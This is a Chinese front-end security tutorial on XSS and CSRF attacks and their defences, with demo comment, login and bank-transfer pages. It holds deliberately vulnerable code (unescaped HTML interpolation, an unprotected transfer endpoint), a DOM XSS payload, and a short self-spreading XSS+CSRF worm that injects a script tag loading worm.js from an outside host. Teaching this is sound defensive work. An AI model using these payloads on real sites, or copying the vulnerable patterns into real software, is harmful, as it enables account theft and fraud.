让前端飞

前端必须知道的安全知识

2018-08-22  本文已影响6人  _小山楂

1. XSS(Cross-Site Script)

  1. 黑客往网页里注入恶意脚本代码
  2. 当用户访问时获取到包含恶意代码的网页
  3. 通过恶意脚本,黑客可以获取和控制用户信息

1.1 反射型(非持久型)XSS

诱导用户点击恶意链接来造成一次性攻击

  1. 黑客把带有恶意脚本代码参数的URL地址发送给用户
  2. 用户点击此链接
  3. 服务器端获取请求参数并且直接使用,服务器反射回结果页面

1.2 存储型(持久型)XSS

黑客将代码存储到漏洞服务器中,用户浏览相关页面发起攻击

  1. 黑客将恶意脚本代码上传或存储到漏洞服务器
  2. 服务器把恶意脚本保存到服务器
  3. 当正常客户访问服务器时,服务器会读取恶意数据并且直接使用
  4. 服务器会返回含有恶意脚本的页面
类型 反射型 存储型
持久性 非持久 持久化(存储在服务器)
触发时机 需要用户点击 不需要用户交互也可以触发
危害 危害较小 危害更大

public\comment-list.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>评论列表</title>
    <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>

<body>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <div class="panel panel-default">
                    <div class="panel-heading">
                        <h2>评论列表</h2>
                    </div>
                    <div class="panel-body">
                        <ul class="list-group comment-list">

                        </ul>
                    </div>
                    <div class="panel-footer">
                        <div class="row">
                            <div class="col-md-12">
                                <form onsubmit="addComment(event)">
                                    <div class="form-group">
                                        <label for="username">用户名</label>
                                        <input id="username" class="form-control" placeholder="用户名">
                                    </div>
                                    <div class="form-group">
                                        <label for="content">内容</label>
                                        <input id="content" class="form-control" placeholder="请输入评论">
                                    </div>
                                    <div class="form-group">
                                        <input type="submit" class="btn btn-primary">
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
        function getCommentList() {
            $.get('/api/comments').then(comments => {
                let html = comments.map(item => (
                    `
                <li class="list-group-item">
                        <div class="media">
                            <div class="media-left">
                                <a href="#">
                                   <img style="border-radius:5px" class="media-object" src="${item.avatar}" >
                                </a>
                            </div>
                            <div class="media-body">
                                <h4 class="media-heading">用户名: ${item.username}</h4>
                                <p>内容: ${item.content}</p>
                                <p>时间: ${item.time}</p>
                            </div>
                        </div>
                </li>
                `
                )).join('');
                $('.comment-list').html(html);
            });
        }
        getCommentList();
        function addComment(event) {
            event.preventDefault();
            let username = $('#username').val();
            let content = $('#content').val();
            if (!content) return;
            $.post('/api/comments', { username, content }).then(data => {
                getCommentList();
                $('#content').val('');
            });
        }
    </script>
</body>

</html>

server.js

let comments = [
    { avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a', username: '张三', content: '今天天气不错', time: new Date().toLocaleString() },
    { avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a', username: '李四', content: '是的', time: new Date().toLocaleString() }
];
app.get('/api/comments', function (req, res) {
    res.json(comments);
});
app.post('/api/comments', function (req, res) {
    let comment = req.body;
    comments.push({
        ...comment,
        avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a',
        time: new Date().toLocaleString()
    });
    res.json(comments);
});

1.3 DOM-Based型XSS

不需要服务器端支持,是由于DOM结构修改导致的,基于浏览器DOM解析的攻击

  1. 用户打开带有恶意的链接

  2. 浏览器在DOM解析的时候直接使用恶意数据

  3. 用户中招

  4. 常见的触发场景就是在修改innerHTML outerHTML document.write的时候

    <body>
        <h1>输入链接地址,然后点击按钮</h1>
        <div id="content"></div>
        <input type="text" id="link">
        <button onclick="setup()">设置</button>
        <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
        <script>
            function setup() {
                // " onclick=alert(1) //
                let html = `<a href="${$('#link').val()}">点我</a>`;
                $('#content').html(html);
            }
        </script>
    </body>
    

1.4 payload

实现XSS攻击的恶意脚本被称为 XSS payload

1.5 如何防御XSS

login.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>登录</title>
    <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>

<body>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <form onsubmit="login(event)">
                    <div class="form-group">
                        <label for="username">用户名</label>
                        <input id="username" class="form-control" placeholder="用户名">
                    </div>
                    <div class="form-group">
                        <label for="password">密码</label>
                        <input id="password" class="form-control" placeholder="密码">
                    </div>
                    <div class="form-group">
                        <input type="submit" class="btn btn-primary" value="登录">
                    </div>
                </form>
            </div>
        </div>
    </div>
    </div>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
        function login() {
            let username = $('#username').val();
            let password = $('#password').val();
            $.post('/api/login', { username, password }).then(data => {
                if (data.code == 0) {
                    location.href = `/user.html?username=${username}`;
                }
                $('#username').val('');
                $('#password').val('');
            });
        }
    </script>
</body>

</html>

user.html

<script>
        document.write(document.cookie);
</script>

server.js

let users = [{ username: 'a', password: '123456', avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a' }, { username: 'b', password: '123456', avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a' }];
let userSessions = {};
app.post('/api/login', function (req, res) {
    let body = req.body;
    let user;
    for (let i = 0; i < users.length; i++) {
        if (body.username == users[i].username && body.password == users[i].password) {
            user = users[i];
            break;
        }
    }
    if (user) {
        const sessionId = 'user_' + Math.random() * 1000;
        res.cookie('username', user.username);
        res.cookie('sessionId', sessionId, { httpOnly: true });
        userSessions[sessionId] = {};
        res.json({ code: 0, user });
    } else {
        res.json({ code: 1, data: '没有该用户' });
    }
});

1.6 Web相关编码和转义

1.6.1 URL 编码

1.6.2 HTML 编码

在 HTML 中,某些字符是预留的,比如不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities) HTML 编码分为:

在 HTML 进制编码中其中的数字则是对应字符的 unicode 字符编码。 比如单引号的 unicode 字符编码是27,则单引号可以被编码为'

function htmlEncode(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;');
}

完整实体

1.6.3 Javascript 转义

avaScript 中有些字符有特殊用途,如果字符串中想使用这些字符原来的含义,需要使用反斜杠对这些特殊符号进行转义。我们称之为 Javascript编码

1.7 输入检查

1.8.3 URL解析环境

使用之前要做urlencode()

2. CSRF

2.1 跨站请求伪造

Cross Site Request Forgery 跨站请求伪造

  1. 用户A登录银行网站,登录成功后会设置cookie
  2. 黑客诱导用户A登录到黑客的站点,然后会返回一个页面
  3. 用户访问这个页面时,这个页面会伪造一个转账请求到银行网站

bank.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>我的银行</title>
    <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>

<body>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <div class="panel panel-default">
                    <div class="panel-heading">
                        <p>用户名
                            <span id="username"></span>
                        </p>
                        <p>余额
                            <span id="money"></span>
                        </p>
                    </div>
                    <div class="panel-body">
                        <form onsubmit="transfer(event)">
                            <div class="form-group">
                                <label for="target">转账用户</label>
                                <input id="target" class="form-control" placeholder="请输入的用户名">
                            </div>
                            <div class="form-group">
                                <label for="amount">金额</label>
                                <input id="amount" class="form-control" placeholder="请输入转账的金额">
                            </div>
                            <div class="form-group">
                                <input type="submit" class="btn btn-primary">
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
        $(function () {
            $.get('/api/user').then(data => {
                console.log(data);
                console.log(data.user.username);
                if (data.code == 0) {
                    $('#username').html(data.user.username);
                    $('#money').html(data.user.money);
                } else {
                    alert('用户未登录');
                    location.href = '/login.html';
                }
            });
        });
        function transfer(event) {
            event.preventDefault();
            let target = $('#target').val();
            let amount = $('#amount').val();
            $.post('/api/transfer', { target, amount }).then(data => {
                if (data.code == 0) {
                    alert('转账成功');
                    location.reload();
                } else {
                    alert('用户未登录');
                    location.href = '/login.html';
                }
            });
        }
    </script>
</body>

</html>
app.get('/api/user', function (req, res) {
    let { username } = userSessions[req.cookies.sessionId];
    if (username) {
        let user;
        for (let i = 0; i < users.length; i++) {
            if (username == users[i].username) {
                user = users[i];
                break;
            }
        }
        res.json({ code: 0, user });
    } else {
        res.json({ code: 1, error: '用户没有登录' });
    }
});

app.post('/api/transfer', function (req, res) {
    let { target, amount } = req.body;
    amount = isNaN(amount) ? 0 : Number(amount);
    let { username } = userSessions[req.cookies.sessionId];
    if (username) {
        let user;
        for (let i = 0; i < users.length; i++) {
            if (username == users[i].username) {
                users[i].money -= amount;
            } else if (target == users[i].username) {
                users[i].money += amount;
            }
        }
        res.json({ code: 0 });
    } else {
        res.json({ code: 1, error: '用户没有登录' });
    }
})

2.2 防御

2.2.1 验证码

server.js

var svgCaptcha = require('svg-captcha');
app.get('/api/captcha', function (req, res) {
    let session = userSessions[req.cookies.sessionId];
    if (session) {
        var codeConfig = {
            size: 5,// 验证码长度
            ignoreChars: '0o1i', // 验证码字符中排除 0o1i
            noise: 2, // 干扰线条的数量
            height: 44
        }
        var captcha = svgCaptcha.create(codeConfig);
        session.captcha = captcha.text.toLowerCase(); //存session用于验证接口获取文字码
        res.send({ code: 0, captcha: captcha.data });
    } else {
        res.json({ code: 1, data: '没有该用户' });
    }
});

bank.html

<div class="form-group">
    <label for="captcha" id="captcha"></label>
    <input id="captcha" class="form-control" placeholder="请输入验证码">
</div>

 $.get('/api/captcha').then(data => {

        if (data.code == 0) {

            $('#captcha').html(data.captcha);

        } else {

            alert('用户未登录');

            location.href = '/login.html';

        }

    });

2.2.2 refer 验证

 let referer = req.headers['referer'];
    if (/^https?:\/\/localhost:3000/.test(referer)) {

    } else {
        res.json({ code: 1, error: 'referer不正确' });
    }

2.2.3 token验证

bank.html

function getClientToken() {
            let result = document.cookie.match(/token=([^;]+)/);
            return result ? result[1] : '';
        }
function transfer(event) {
            event.preventDefault();
            let target = $('#target').val();
            let amount = $('#amount').val();
            let captcha = $('#captcha').val();
            $.post('/api/transfer', {
                target,
                amount,
                captcha,
                clientToken: getClientToken()
            }).then(data => {
                if (data.code == 0) {
                    alert('转账成功');
                    location.reload();
                } else {
                    alert('用户未登录');
                    location.href = '/login.html';
                }
            });
}

server.js

app.post('/api/transfer', function (req, res) {
    // let referer = req.headers['referer'];
    //if (/^https?:\/\/localhost:3000/.test(referer)) {
    let { target, amount, clientToken, captcha } = req.body;
    amount = isNaN(amount) ? 0 : Number(amount);
    let { username, token } = userSessions[req.cookies.sessionId];
    if (username) {
        if (clientToken == token) {
            let user;
            for (let i = 0; i < users.length; i++) {
                if (username == users[i].username) {
                    users[i].money -= amount;
                } else if (target == users[i].username) {
                    users[i].money += amount;
                }
            }
            res.json({ code: 0 });
        } else {
            res.json({ code: 1, error: '违法操作' });
        }
    } else {
        res.json({ code: 1, error: '用户没有登录' });
    }
    //} else {
    res.json({ code: 1, error: 'referer不正确' });
    //}
})

2.2.4 xss+csrf(蠕虫)

不断传播的xss+csrf攻击 worm.js

const attack = '<script src="http://localhost:3001/worm.js"></script>';
$.post('/api/comments', { content: 'haha' + attack });

3. DDOS攻击

分布式拒绝服务(Distribute Denial Of Service)

4. HTTP劫持

上一篇 下一篇

猜你喜欢

热点阅读